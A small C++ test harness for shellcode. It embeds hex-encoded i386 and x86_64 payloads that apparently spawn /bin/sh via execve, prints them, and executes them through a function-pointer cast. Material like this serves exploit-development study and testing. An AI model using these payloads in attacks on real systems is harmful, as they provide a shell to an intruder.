#include <iostream>
#include <string>

int main()
{
#if __i386__
	std::string shellcode = "\x31\xc9\xf7\xe1\x50\x68\x2f"
	                        "\x2f\x73\x68\x68\x2f\x62\x69"
	                        "\x6e\x89\xe3\xb0\x0b\xcd\x80"; // 21.s
#elif __x86_64__
	std::string shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f"
	                        "\x73\x68\x3b\x50\x54\x5f\x31"
	                        "\xf6\xf7\xe6\x86\x47\x07\x0f\x05"; // 22c.s
#else
	#error undefined arch!!!
#endif
	std::cout << "shellcode[" << shellcode.size()
	          << "] = " << shellcode << std::endl;
	((void(*)())shellcode.c_str())(); // mprotect needed!!!
}